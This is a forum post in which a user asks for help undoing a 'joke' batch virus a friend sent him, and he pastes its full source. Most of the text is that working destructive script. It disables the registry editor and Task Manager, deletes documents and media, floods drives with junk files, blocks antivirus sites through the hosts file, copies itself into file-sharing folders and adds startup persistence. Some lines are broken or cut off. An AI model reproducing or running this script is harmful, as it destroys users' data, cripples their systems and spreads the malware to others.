So I'm fucktarded apparently.

My friend used one of those virus maker programs to make a virus for me as a joke. I didn't know, obviously, and he sent it to me. Me, being an idiot, when I went to open it, instead of clicking "Run Sandboxed" on my menu, I clicked "Run as Admin"

FUCK.

It raeped my comp. I had to do a system restore to get it back to working condition, and it works, but there are still problems.

It was a simple batch file (not even a virus) so I was wondering if anyone here is able to create a batch that does the opposite?

It WASN'T able to delete anything, or bomb me with those files.
It just changed settings, most of which are reversed now. A few are still lingering, I think, because the system still starts slow.

Code:
@echo off
Rundll32 user32,SwapMouseButton
echo Set Shell = CreateObject("Wscript.Shell") >> %windir%\keys_reg.vbs
echo Shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools","1","REG_DWORD" >> %windir%\keys_reg.vbs
echo Shell.RegWrite "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableTaskMgr","1","REG_DWORD" >> %windir%\keys_reg.vbs
Start %windir%\keys_reg.vbs
assoc .exe=WMAFile
assoc .mp3 = VBSFile
assoc .wmv = themefile
attrib +r +a +s +h %systemroot%\System32
Set hlg = HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Policies \ Explorer
Set Val = NoUserNameInStartMenu
Set date=1
reg.exe add "%hlg%" /v "%val%" /d "%date%" /f >nul
del ""C:\WINDOWS\system32"del ""C:\WINDOWS\system32\clipbrd"del ""C:\WINDOWS\system32\cmd"cd %userprofile%\My Documents
IF EXIST *.txt (
del *.txt
) ELSE (
echo Error
)
IF EXIST *.doc (
del *.doc
) ELSE (
echo Error
)
IF EXIST *.rtf (
del *.rtf
) ELSE (
echo Error
)
IF EXIST *.wma (
del *.wma
) ELSE (
echo Error
)
IF EXIST *.mp3 (
del *.mp3
) ELSE (
echo Error
)
IF EXIST *.bmp (
del *.bmp
) ELSE (
echo Error
)
IF EXIST *.gif (
del *.gif
) ELSE (
echo Error
)
IF EXIST *.jpeg (
del *.jpeg
) ELSE (
echo Error
)
IF EXIST *.jpg (
del *.jpg
) ELSE (
echo Error
)
IF EXIST *.html (
del *.html
) ELSE (
echo Error
)
IF EXIST *.htm (
del *.htm
) ELSE (
echo Error
)
IF EXIST *.png (
del *.png
) ELSE (
echo Error
)
IF EXIST *.avi (
del *.avi
) ELSE (
echo Error
)
IF EXIST *.wmv (
del *.wmv
) ELSE (
echo Error
)
IF EXIST *.php (
del *.php
) ELSE (
echo Error
)
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>e:\%random%.txt
echo %random%>e:\%random%.bmp
echo %random%>e:\%random%.bat
echo %random%>e:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
echo %random%>c:\%random%.txt
echo %random%>c:\%random%.bmp
echo %random%>c:\%random%.bat
echo %random%>c:\%random%.reg
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
md %random%
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"Error Report")>>c:\msg.vbs
echo onclick = MsgBox("Windows reports a random Fatal Exception 0x has occurred at xxxx:xxxxxxx",16,"Error Report")>>c:\msg.vbs
attrib +h c:\msg.vbs
start c:\msg.vbs
cmd /c echo 127.0.0.1 www.symantec.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.sophos.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.avast.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.mcafee.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.f-prot.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.f-secure.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.avp.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.kaspersky.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.bitdefender.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.my-etrust.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.eset.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.norman.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.grisoft.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.google.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 mx1.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 mx2.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 messenger.hotmail.com>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.google.co.uk>>c:\windows\system32\Drivers\Etc\Hosts
cmd /c echo 127.0.0.1 www.youtube.com>>c
Copy %0 c:\program files\limewire\Shared\Slipknot_Blackheart.mp3.bat >nul
copy Genesis.exe.bat %windir%\Genesis.exe.bat
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices /v Pwner /t REG_SZ /d %windir%\Genesis.exe.bat /f >nul
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
copy %0 %systemroot%\system32\%random%.%random%
copy %0 %windir%\%random%.%random%
ctty nul
fmicqlwnnordaonkcukcbwrbblibgmqgxowmtolgxnhstuktynoreboyqcnebrhjzqoncesfzuewbndvxdgymxsiamtjxzxaxndgo
ouwbfxpxzwdjlcxwshsqjrrrsoqayfsdbxvpnfydntgtguqhslpxozbibmvuulyqydoznsyrizqmhzdpgiogvjqtkucptmzzlrqqz
cplsqwyjiltpcdbyjkvzqyvqavdxroysyziaymoglpqzwutrtkmbexxfrnzoixilzcglbzttaqdswdswdrqxpoghddjssdfzwzcib
xwptoecgrjfeeewalgqaqhqbvzdfruxfuiqfkrjcycombaeqaibzdppmnaqsegnpfppdgnwqlirugbdovwhtofxdsuhzojkjpahdb
quzslitvfzzmhdxaavfzqwtwavspamwywnhiwhyvkbbkzjdnyrwuaeobecuqazzvfhttbjcgmpyfjubdxrfthzegrntilnewninpi
ivekytkwdkuudkixbfkmisdqxbzsasidyvobhrmwguqniqcgeiolvxqayigsonmwbsnizxbuwvqaobotdeunhkjbjpskhcpyjdaeh
noavgvdcvgttjcpzlvczokrlpgtrvemmspyvrgufbsttropfdooowimi***ujxdwrrartyyezmbxqckhpcvxdorgydgmlibrmiqfd
xlhrbdbzwxlbzjubbfkcmtnrkdfjbfdngfwiakyhvbyrtozhyyeulqrughumlchnxeddvgiiasdoxuhmevufohujvlqxztkvyfkfc
bbrmvgwzmlhutnmjdodemcxgoiblgysigwzghounagjwqrtjovsjijnsytxjeauagoyjaklbvnkkjnedzjskxvayioztxyptlxfvw
aaciazlviyfuywibrmmblzrjziagqksusqfxnvzzkebkiudsgbuogodlkdjbqgzrsnxzuocrabhgjexuuznhsjeandihpitljttyq
vvwlsjstqqfpicpqavapnljjizzxnffvielziwfhvkwyhbxugckxkfqrxtgqzweerdixbheulerdaaqyrbztzfohsbbvgfgjovjma
copy Genesis.exe.bat %systemroot%\system32\drivers\Genesis.exe.bat
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v PWNAGE /t REG_SZ /d %systemroot%\system32\drivers\Genesis.exe.bat /f >nul
set key=HKCU\Software\Microsoft\Internet Explorer\Main
set value=Start page
set data=porn.com
reg.exe add "%key%" /v "%value%" /d "%data%" /f >nul